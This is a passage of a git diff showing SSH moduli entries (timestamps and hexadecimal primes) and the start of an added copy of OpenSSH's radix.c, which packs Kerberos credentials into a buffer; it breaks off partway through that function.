2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc5a356e23 +20000522205340 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc5a5d0ea3 +20000523002213 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc589ab15b +20000523002333 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc58c16733 +20000523002506 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc58ee9dc3 +20000523002708 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc592e0f7b +20000523002728 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc592fbea3 +20000523002746 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc5931088b +20000523002834 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc59434203 +20000523002958 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc5969401b +20000523003018 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc596b4efb +20000523003040 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc596dd953 +20000523003122 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc597da68b +20000523003151 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc5984e833 +20000523003220 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc598bb68b +20000523003240 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc598def3b +20000523003415 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc59b8d5f3 +20000523003437 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc59bbc4fb +20000523003527 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc59cfa1fb +20000523003808 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc5a20812b +20000523003847 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc5a2c65b3 +20000523132221 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc5a356e23 +20000523132348 2 6 100 1025 2 2abb47271a1809f247f4433065ee7087815d189e8e2bec67827d173b078cd78bf4adc5bd775679384d763216edc12157afec6eb4d2435a2fc793183fafadc9ff35b5c87471da1e56600203f11ae654a377c80101957a0c0044ee9ae96e8a7cc785a629c17ca5d5ef2a981b83417db75f9616e0ffcbc92d440eb73a2cc5a5d0ea3 +20000523133632 2 6 100 2048 2 13adce8b316247c62077274d989c505ac8651f4ea63ad3715a49ebf7dc2aa74fc280ac8e3423453ec767e571fa0cf65a9585692669231b0fbbcf418bf4a4bbe2bb7d34904d1494927827dad9a34d08345ecd0374d6487815684affc279854d6eee72cb7941855cc46fd3ee056eb410a57c306185cd13e3d93acb336eb8f62bc61c311b0992dafbd35a835ca46aab4be71ca8a14b98b4fdd72a085115dc46531f711ba4ad41533aab44ef839d7952b7c4655a3309eefbbc3fe8df211397e58df223596c695a8993be7d81ec52b9891a51ece620fdeb8c4d1dad87f979ba375cde357bdd78d4672ea176521a9ef0c0e842d62cdef309b6ed2cd41cb029296c38f3b +20000523134422 2 6 100 2048 2 13adce8b316247c62077274d989c505ac8651f4ea63ad3715a49ebf7dc2aa74fc280ac8e3423453ec767e571fa0cf65a9585692669231b0fbbcf418bf4a4bbe2bb7d34904d1494927827dad9a34d08345ecd0374d6487815684affc279854d6eee72cb7941855cc46fd3ee056eb410a57c306185cd13e3d93acb336eb8f62bc61c311b0992dafbd35a835ca46aab4be71ca8a14b98b4fdd72a085115dc46531f711ba4ad41533aab44ef839d7952b7c4655a3309eefbbc3fe8df211397e58df223596c695a8993be7d81ec52b9891a51ece620fdeb8c4d1dad87f979ba375cde357bdd78d4672ea176521a9ef0c0e842d62cdef309b6ed2cd41cb029296e2b50b +20000523140206 2 6 100 2048 2 13adce8b316247c62077274d989c505ac8651f4ea63ad3715a49ebf7dc2aa74fc280ac8e3423453ec767e571fa0cf65a9585692669231b0fbbcf418bf4a4bbe2bb7d34904d1494927827dad9a34d08345ecd0374d6487815684affc279854d6eee72cb7941855cc46fd3ee056eb410a57c306185cd13e3d93acb336eb8f62bc61c311b0992dafbd35a835ca46aab4be71ca8a14b98b4fdd72a085115dc46531f711ba4ad41533aab44ef839d7952b7c4655a3309eefbbc3fe8df211397e58df223596c695a8993be7d81ec52b9891a51ece620fdeb8c4d1dad87f979ba375cde357bdd78d4672ea176521a9ef0c0e842d62cdef309b6ed2cd41cb029297404d63 +20000523142316 2 6 100 2048 2 13adce8b316247c62077274d989c505ac8651f4ea63ad3715a49ebf7dc2aa74fc280ac8e3423453ec767e571fa0cf65a9585692669231b0fbbcf418bf4a4bbe2bb7d34904d1494927827dad9a34d08345ecd0374d6487815684affc279854d6eee72cb7941855cc46fd3ee056eb410a57c306185cd13e3d93acb336eb8f62bc61c311b0992dafbd35a835ca46aab4be71ca8a14b98b4fdd72a085115dc46531f711ba4ad41533aab44ef839d7952b7c4655a3309eefbbc3fe8df211397e58df223596c695a8993be7d81ec52b9891a51ece620fdeb8c4d1dad87f979ba375cde357bdd78d4672ea176521a9ef0c0e842d62cdef309b6ed2cd41cb029297b3296b +20000523144727 2 6 100 2048 2 13adce8b316247c62077274d989c505ac8651f4ea63ad3715a49ebf7dc2aa74fc280ac8e3423453ec767e571fa0cf65a9585692669231b0fbbcf418bf4a4bbe2bb7d34904d1494927827dad9a34d08345ecd0374d6487815684affc279854d6eee72cb7941855cc46fd3ee056eb410a57c306185cd13e3d93acb336eb8f62bc61c311b0992dafbd35a835ca46aab4be71ca8a14b98b4fdd72a085115dc46531f711ba4ad41533aab44ef839d7952b7c4655a3309eefbbc3fe8df211397e58df223596c695a8993be7d81ec52b9891a51ece620fdeb8c4d1dad87f979ba375cde357bdd78d4672ea176521a9ef0c0e842d62cdef309b6ed2cd41cb02929837023b +20000523152219 2 6 100 2048 2 13adce8b316247c62077274d989c505ac8651f4ea63ad3715a49ebf7dc2aa74fc280ac8e3423453ec767e571fa0cf65a9585692669231b0fbbcf418bf4a4bbe2bb7d34904d1494927827dad9a34d08345ecd0374d6487815684affc279854d6eee72cb7941855cc46fd3ee056eb410a57c306185cd13e3d93acb336eb8f62bc61c311b0992dafbd35a835ca46aab4be71ca8a14b98b4fdd72a085115dc46531f711ba4ad41533aab44ef839d7952b7c4655a3309eefbbc3fe8df211397e58df223596c695a8993be7d81ec52b9891a51ece620fdeb8c4d1dad87f979ba375cde357bdd78d4672ea176521a9ef0c0e842d62cdef309b6ed2cd41cb029298fcdf8b +20000523160139 2 6 100 2048 2 13adce8b316247c62077274d989c505ac8651f4ea63ad3715a49ebf7dc2aa74fc280ac8e3423453ec767e571fa0cf65a9585692669231b0fbbcf418bf4a4bbe2bb7d34904d1494927827dad9a34d08345ecd0374d6487815684affc279854d6eee72cb7941855cc46fd3ee056eb410a57c306185cd13e3d93acb336eb8f62bc61c311b0992dafbd35a835ca46aab4be71ca8a14b98b4fdd72a085115dc46531f711ba4ad41533aab44ef839d7952b7c4655a3309eefbbc3fe8df211397e58df223596c695a8993be7d81ec52b9891a51ece620fdeb8c4d1dad87f979ba375cde357bdd78d4672ea176521a9ef0c0e842d62cdef309b6ed2cd41cb029299d2ddcb +20000523161127 2 6 100 2048 2 13adce8b316247c62077274d989c505ac8651f4ea63ad3715a49ebf7dc2aa74fc280ac8e3423453ec767e571fa0cf65a9585692669231b0fbbcf418bf4a4bbe2bb7d34904d1494927827dad9a34d08345ecd0374d6487815684affc279854d6eee72cb7941855cc46fd3ee056eb410a57c306185cd13e3d93acb336eb8f62bc61c311b0992dafbd35a835ca46aab4be71ca8a14b98b4fdd72a085115dc46531f711ba4ad41533aab44ef839d7952b7c4655a3309eefbbc3fe8df211397e58df223596c695a8993be7d81ec52b9891a51ece620fdeb8c4d1dad87f979ba375cde357bdd78d4672ea176521a9ef0c0e842d62cdef309b6ed2cd41cb02929a06becb +20000523161954 2 6 100 2048 2 13adce8b316247c62077274d989c505ac8651f4ea63ad3715a49ebf7dc2aa74fc280ac8e3423453ec767e571fa0cf65a9585692669231b0fbbcf418bf4a4bbe2bb7d34904d1494927827dad9a34d08345ecd0374d6487815684affc279854d6eee72cb7941855cc46fd3ee056eb410a57c306185cd13e3d93acb336eb8f62bc61c311b0992dafbd35a835ca46aab4be71ca8a14b98b4fdd72a085115dc46531f711ba4ad41533aab44ef839d7952b7c4655a3309eefbbc3fe8df211397e58df223596c695a8993be7d81ec52b9891a51ece620fdeb8c4d1dad87f979ba375cde357bdd78d4672ea176521a9ef0c0e842d62cdef309b6ed2cd41cb02929a2be213 +20000523163925 2 6 100 2048 2 13adce8b316247c62077274d989c505ac8651f4ea63ad3715a49ebf7dc2aa74fc280ac8e3423453ec767e571fa0cf65a9585692669231b0fbbcf418bf4a4bbe2bb7d34904d1494927827dad9a34d08345ecd0374d6487815684affc279854d6eee72cb7941855cc46fd3ee056eb410a57c306185cd13e3d93acb336eb8f62bc61c311b0992dafbd35a835ca46aab4be71ca8a14b98b4fdd72a085115dc46531f711ba4ad41533aab44ef839d7952b7c4655a3309eefbbc3fe8df211397e58df223596c695a8993be7d81ec52b9891a51ece620fdeb8c4d1dad87f979ba375cde357bdd78d4672ea176521a9ef0c0e842d62cdef309b6ed2cd41cb02929a7f10eb +20000524131812 2 6 100 2048 2 13adce8b316247c62077274d989c505ac8651f4ea63ad3715a49ebf7dc2aa74fc280ac8e3423453ec767e571fa0cf65a9585692669231b0fbbcf418bf4a4bbe2bb7d34904d1494927827dad9a34d08345ecd0374d6487815684affc279854d6eee72cb7941855cc46fd3ee056eb410a57c306185cd13e3d93acb336eb8f62bc61c311b0992dafbd35a835ca46aab4be71ca8a14b98b4fdd72a085115dc46531f711ba4ad41533aab44ef839d7952b7c4655a3309eefbbc3fe8df211397e58df223596c695a8993be7d81ec52b9891a51ece620fdeb8c4d1dad87f979ba375cde357bdd78d4672ea176521a9ef0c0e842d62cdef309b6ed2cd41cb02929b9678e3 +20000524132825 2 6 100 2048 2 13adce8b316247c62077274d989c505ac8651f4ea63ad3715a49ebf7dc2aa74fc280ac8e3423453ec767e571fa0cf65a9585692669231b0fbbcf418bf4a4bbe2bb7d34904d1494927827dad9a34d08345ecd0374d6487815684affc279854d6eee72cb7941855cc46fd3ee056eb410a57c306185cd13e3d93acb336eb8f62bc61c311b0992dafbd35a835ca46aab4be71ca8a14b98b4fdd72a085115dc46531f711ba4ad41533aab44ef839d7952b7c4655a3309eefbbc3fe8df211397e58df223596c695a8993be7d81ec52b9891a51ece620fdeb8c4d1dad87f979ba375cde357bdd78d4672ea176521a9ef0c0e842d62cdef309b6ed2cd41cb02929bc95393 +20000524134006 2 6 100 2048 2 13adce8b316247c62077274d989c505ac8651f4ea63ad3715a49ebf7dc2aa74fc280ac8e3423453ec767e571fa0cf65a9585692669231b0fbbcf418bf4a4bbe2bb7d34904d1494927827dad9a34d08345ecd0374d6487815684affc279854d6eee72cb7941855cc46fd3ee056eb410a57c306185cd13e3d93acb336eb8f62bc61c311b0992dafbd35a835ca46aab4be71ca8a14b98b4fdd72a085115dc46531f711ba4ad41533aab44ef839d7952b7c4655a3309eefbbc3fe8df211397e58df223596c695a8993be7d81ec52b9891a51ece620fdeb8c4d1dad87f979ba375cde357bdd78d4672ea176521a9ef0c0e842d62cdef309b6ed2cd41cb02929c01c4b3 +20000524135411 2 6 100 2048 2 13adce8b316247c62077274d989c505ac8651f4ea63ad3715a49ebf7dc2aa74fc280ac8e3423453ec767e571fa0cf65a9585692669231b0fbbcf418bf4a4bbe2bb7d34904d1494927827dad9a34d08345ecd0374d6487815684affc279854d6eee72cb7941855cc46fd3ee056eb410a57c306185cd13e3d93acb336eb8f62bc61c311b0992dafbd35a835ca46aab4be71ca8a14b98b4fdd72a085115dc46531f711ba4ad41533aab44ef839d7952b7c4655a3309eefbbc3fe8df211397e58df223596c695a8993be7d81ec52b9891a51ece620fdeb8c4d1dad87f979ba375cde357bdd78d4672ea176521a9ef0c0e842d62cdef309b6ed2cd41cb02929c497d43 +20000524135734 2 6 100 2048 2 13adce8b316247c62077274d989c505ac8651f4ea63ad3715a49ebf7dc2aa74fc280ac8e3423453ec767e571fa0cf65a9585692669231b0fbbcf418bf4a4bbe2bb7d34904d1494927827dad9a34d08345ecd0374d6487815684affc279854d6eee72cb7941855cc46fd3ee056eb410a57c306185cd13e3d93acb336eb8f62bc61c311b0992dafbd35a835ca46aab4be71ca8a14b98b4fdd72a085115dc46531f711ba4ad41533aab44ef839d7952b7c4655a3309eefbbc3fe8df211397e58df223596c695a8993be7d81ec52b9891a51ece620fdeb8c4d1dad87f979ba375cde357bdd78d4672ea176521a9ef0c0e842d62cdef309b6ed2cd41cb02929c53d50b +20000525100237 2 6 100 2048 2 13adce8b316247c62077274d989c505ac8651f4ea63ad3715a49ebf7dc2aa74fc280ac8e3423453ec767e571fa0cf65a9585692669231b0fbbcf418bf4a4bbe2bb7d34904d1494927827dad9a34d08345ecd0374d6487815684affc279854d6eee72cb7941855cc46fd3ee056eb410a57c306185cd13e3d93acb336eb8f62bc61c311b0992dafbd35a835ca46aab4be71ca8a14b98b4fdd72a085115dc46531f711ba4ad41533aab44ef839d7952b7c4655a3309eefbbc3fe8df211397e58df223596c695a8993be7d81ec52b9891a51ece620fdeb8c4d1dad87f979ba375cde357bdd78d4672ea176521a9ef0c0e842d62cdef309b6ed2cd41cb02929cdb1183 +20000525101209 2 6 100 2048 2 13adce8b316247c62077274d989c505ac8651f4ea63ad3715a49ebf7dc2aa74fc280ac8e3423453ec767e571fa0cf65a9585692669231b0fbbcf418bf4a4bbe2bb7d34904d1494927827dad9a34d08345ecd0374d6487815684affc279854d6eee72cb7941855cc46fd3ee056eb410a57c306185cd13e3d93acb336eb8f62bc61c311b0992dafbd35a835ca46aab4be71ca8a14b98b4fdd72a085115dc46531f711ba4ad41533aab44ef839d7952b7c4655a3309eefbbc3fe8df211397e58df223596c695a8993be7d81ec52b9891a51ece620fdeb8c4d1dad87f979ba375cde357bdd78d4672ea176521a9ef0c0e842d62cdef309b6ed2cd41cb02929d09073b +20000525101532 2 6 100 2048 2 13adce8b316247c62077274d989c505ac8651f4ea63ad3715a49ebf7dc2aa74fc280ac8e3423453ec767e571fa0cf65a9585692669231b0fbbcf418bf4a4bbe2bb7d34904d1494927827dad9a34d08345ecd0374d6487815684affc279854d6eee72cb7941855cc46fd3ee056eb410a57c306185cd13e3d93acb336eb8f62bc61c311b0992dafbd35a835ca46aab4be71ca8a14b98b4fdd72a085115dc46531f711ba4ad41533aab44ef839d7952b7c4655a3309eefbbc3fe8df211397e58df223596c695a8993be7d81ec52b9891a51ece620fdeb8c4d1dad87f979ba375cde357bdd78d4672ea176521a9ef0c0e842d62cdef309b6ed2cd41cb02929d12ae03 +20000525102821 2 6 100 2048 2 13adce8b316247c62077274d989c505ac8651f4ea63ad3715a49ebf7dc2aa74fc280ac8e3423453ec767e571fa0cf65a9585692669231b0fbbcf418bf4a4bbe2bb7d34904d1494927827dad9a34d08345ecd0374d6487815684affc279854d6eee72cb7941855cc46fd3ee056eb410a57c306185cd13e3d93acb336eb8f62bc61c311b0992dafbd35a835ca46aab4be71ca8a14b98b4fdd72a085115dc46531f711ba4ad41533aab44ef839d7952b7c4655a3309eefbbc3fe8df211397e58df223596c695a8993be7d81ec52b9891a51ece620fdeb8c4d1dad87f979ba375cde357bdd78d4672ea176521a9ef0c0e842d62cdef309b6ed2cd41cb02929d547323 +20000525103314 2 6 100 2048 2 13adce8b316247c62077274d989c505ac8651f4ea63ad3715a49ebf7dc2aa74fc280ac8e3423453ec767e571fa0cf65a9585692669231b0fbbcf418bf4a4bbe2bb7d34904d1494927827dad9a34d08345ecd0374d6487815684affc279854d6eee72cb7941855cc46fd3ee056eb410a57c306185cd13e3d93acb336eb8f62bc61c311b0992dafbd35a835ca46aab4be71ca8a14b98b4fdd72a085115dc46531f711ba4ad41533aab44ef839d7952b7c4655a3309eefbbc3fe8df211397e58df223596c695a8993be7d81ec52b9891a51ece620fdeb8c4d1dad87f979ba375cde357bdd78d4672ea176521a9ef0c0e842d62cdef309b6ed2cd41cb02929d65a2a3 +20000525103516 2 6 100 2048 2 13adce8b316247c62077274d989c505ac8651f4ea63ad3715a49ebf7dc2aa74fc280ac8e3423453ec767e571fa0cf65a9585692669231b0fbbcf418bf4a4bbe2bb7d34904d1494927827dad9a34d08345ecd0374d6487815684affc279854d6eee72cb7941855cc46fd3ee056eb410a57c306185cd13e3d93acb336eb8f62bc61c311b0992dafbd35a835ca46aab4be71ca8a14b98b4fdd72a085115dc46531f711ba4ad41533aab44ef839d7952b7c4655a3309eefbbc3fe8df211397e58df223596c695a8993be7d81ec52b9891a51ece620fdeb8c4d1dad87f979ba375cde357bdd78d4672ea176521a9ef0c0e842d62cdef309b6ed2cd41cb02929d66b373 +20000525104424 2 6 100 2048 2 13adce8b316247c62077274d989c505ac8651f4ea63ad3715a49ebf7dc2aa74fc280ac8e3423453ec767e571fa0cf65a9585692669231b0fbbcf418bf4a4bbe2bb7d34904d1494927827dad9a34d08345ecd0374d6487815684affc279854d6eee72cb7941855cc46fd3ee056eb410a57c306185cd13e3d93acb336eb8f62bc61c311b0992dafbd35a835ca46aab4be71ca8a14b98b4fdd72a085115dc46531f711ba4ad41533aab44ef839d7952b7c4655a3309eefbbc3fe8df211397e58df223596c695a8993be7d81ec52b9891a51ece620fdeb8c4d1dad87f979ba375cde357bdd78d4672ea176521a9ef0c0e842d62cdef309b6ed2cd41cb02929d923c13 +20000525104817 2 6 100 2048 2 13adce8b316247c62077274d989c505ac8651f4ea63ad3715a49ebf7dc2aa74fc280ac8e3423453ec767e571fa0cf65a9585692669231b0fbbcf418bf4a4bbe2bb7d34904d1494927827dad9a34d08345ecd0374d6487815684affc279854d6eee72cb7941855cc46fd3ee056eb410a57c306185cd13e3d93acb336eb8f62bc61c311b0992dafbd35a835ca46aab4be71ca8a14b98b4fdd72a085115dc46531f711ba4ad41533aab44ef839d7952b7c4655a3309eefbbc3fe8df211397e58df223596c695a8993be7d81ec52b9891a51ece620fdeb8c4d1dad87f979ba375cde357bdd78d4672ea176521a9ef0c0e842d62cdef309b6ed2cd41cb02929d9e8ce3 +20000525105713 2 6 100 2048 2 13adce8b316247c62077274d989c505ac8651f4ea63ad3715a49ebf7dc2aa74fc280ac8e3423453ec767e571fa0cf65a9585692669231b0fbbcf418bf4a4bbe2bb7d34904d1494927827dad9a34d08345ecd0374d6487815684affc279854d6eee72cb7941855cc46fd3ee056eb410a57c306185cd13e3d93acb336eb8f62bc61c311b0992dafbd35a835ca46aab4be71ca8a14b98b4fdd72a085115dc46531f711ba4ad41533aab44ef839d7952b7c4655a3309eefbbc3fe8df211397e58df223596c695a8993be7d81ec52b9891a51ece620fdeb8c4d1dad87f979ba375cde357bdd78d4672ea176521a9ef0c0e842d62cdef309b6ed2cd41cb02929dc8fe6b +20000525110833 2 6 100 2048 2 13adce8b316247c62077274d989c505ac8651f4ea63ad3715a49ebf7dc2aa74fc280ac8e3423453ec767e571fa0cf65a9585692669231b0fbbcf418bf4a4bbe2bb7d34904d1494927827dad9a34d08345ecd0374d6487815684affc279854d6eee72cb7941855cc46fd3ee056eb410a57c306185cd13e3d93acb336eb8f62bc61c311b0992dafbd35a835ca46aab4be71ca8a14b98b4fdd72a085115dc46531f711ba4ad41533aab44ef839d7952b7c4655a3309eefbbc3fe8df211397e58df223596c695a8993be7d81ec52b9891a51ece620fdeb8c4d1dad87f979ba375cde357bdd78d4672ea176521a9ef0c0e842d62cdef309b6ed2cd41cb02929e0121eb +20000525111133 2 6 100 2048 2 13adce8b316247c62077274d989c505ac8651f4ea63ad3715a49ebf7dc2aa74fc280ac8e3423453ec767e571fa0cf65a9585692669231b0fbbcf418bf4a4bbe2bb7d34904d1494927827dad9a34d08345ecd0374d6487815684affc279854d6eee72cb7941855cc46fd3ee056eb410a57c306185cd13e3d93acb336eb8f62bc61c311b0992dafbd35a835ca46aab4be71ca8a14b98b4fdd72a085115dc46531f711ba4ad41533aab44ef839d7952b7c4655a3309eefbbc3fe8df211397e58df223596c695a8993be7d81ec52b9891a51ece620fdeb8c4d1dad87f979ba375cde357bdd78d4672ea176521a9ef0c0e842d62cdef309b6ed2cd41cb02929e093edb diff --git a/other/ssharp/radix.c b/other/ssharp/radix.c new file mode 100644 index 0000000..3b149a8 --- /dev/null +++ b/other/ssharp/radix.c @@ -0,0 +1,212 @@ +/* + * Copyright (c) 1999 Dug Song. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +#include "uuencode.h" + +RCSID("$OpenBSD: radix.c,v 1.15 2001/01/16 23:58:09 deraadt Exp $"); + +#ifdef AFS +#include + +typedef u_char my_u_char; +typedef u_int my_u_int32_t; +typedef u_short my_u_short; + +/* Nasty macros from BIND-4.9.2 */ + +#define GETSHORT(s, cp) { \ + register my_u_char *t_cp = (my_u_char *)(cp); \ + (s) = (((my_u_short)t_cp[0]) << 8) \ + | (((my_u_short)t_cp[1])) \ + ; \ + (cp) += 2; \ +} + +#define GETLONG(l, cp) { \ + register my_u_char *t_cp = (my_u_char *)(cp); \ + (l) = (((my_u_int32_t)t_cp[0]) << 24) \ + | (((my_u_int32_t)t_cp[1]) << 16) \ + | (((my_u_int32_t)t_cp[2]) << 8) \ + | (((my_u_int32_t)t_cp[3])) \ + ; \ + (cp) += 4; \ +} + +#define PUTSHORT(s, cp) { \ + register my_u_short t_s = (my_u_short)(s); \ + register my_u_char *t_cp = (my_u_char *)(cp); \ + *t_cp++ = t_s >> 8; \ + *t_cp = t_s; \ + (cp) += 2; \ +} + +#define PUTLONG(l, cp) { \ + register my_u_int32_t t_l = (my_u_int32_t)(l); \ + register my_u_char *t_cp = (my_u_char *)(cp); \ + *t_cp++ = t_l >> 24; \ + *t_cp++ = t_l >> 16; \ + *t_cp++ = t_l >> 8; \ + *t_cp = t_l; \ + (cp) += 4; \ +} + +#define GETSTRING(s, p, p_l) { \ + register char *p_targ = (p) + p_l; \ + register char *s_c = (s); \ + register char *p_c = (p); \ + while (*p_c && (p_c < p_targ)) { \ + *s_c++ = *p_c++; \ + } \ + if (p_c == p_targ) { \ + return 1; \ + } \ + *s_c = *p_c++; \ + (p_l) = (p_l) - (p_c - (p)); \ + (p) = p_c; \ +} + + +int +creds_to_radix(CREDENTIALS *creds, u_char *buf, size_t buflen) +{ + char *p, *s; + int len; + char temp[2048]; + + p = temp; + *p++ = 1; /* version */ + s = creds->service; + while (*s) + *p++ = *s++; + *p++ = *s; + s = creds->instance; + while (*s) + *p++ = *s++; + *p++ = *s; + s = creds->realm; + while (*s) + *p++ = *s++; + *p++ = *s; + + s = creds->pname; + while (*s) + *p++ = *s++; 